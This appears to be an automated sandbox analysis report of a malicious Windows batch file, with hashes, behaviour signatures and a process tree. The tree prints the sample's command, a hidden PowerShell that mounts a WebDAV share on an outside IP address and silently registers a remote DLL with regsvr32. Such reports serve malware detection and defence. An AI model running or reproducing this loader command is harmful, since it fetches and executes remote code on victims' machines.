Analysis

  • max time kernel
    118s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    23/07/2024, 08:58

General

  • Target

    18490313282756922245.bat

  • Size

    13KB

  • MD5

    391f3353001f8c62139cc4d9f451dfbb

  • SHA1

    2ec30d4080d14431695ea7d700f2badfbc72e92e

  • SHA256

    3dc59f1a745883ef22757341d69ec03c10747a6cae7041b50a0fa80a8ccbfe99

  • SHA512

    5de6688bf771c9b417fe6c65854c5a1dd6d0041faa63bf1efc1eaddaca70cd24389a410f18169e2110d4c723a2dc5fbaa395b2f5dfa3006fad0588fb471df3d8

  • SSDEEP

    192:APu27DeurTaD82yqnBNPiKrznCjHGtb1vGktbkHVzBJIXxV6fMUQxN:APuyrTwvnDF3nZtbMBHVIXxyDcN

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\18490313282756922245.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2436
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:1924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\2433346094121.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1428
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2840
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\2433346094121.dll
          3⤵
            PID:2332

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1428-23-0x000000001B650000-0x000000001B932000-memory.dmp

        Filesize

        2.9MB

      • memory/1428-24-0x0000000002390000-0x0000000002398000-memory.dmp

        Filesize

        32KB

      • memory/2436-16-0x0000000002370000-0x0000000002470000-memory.dmp

        Filesize

        1024KB

      • memory/2436-17-0x0000000002370000-0x0000000002470000-memory.dmp

        Filesize

        1024KB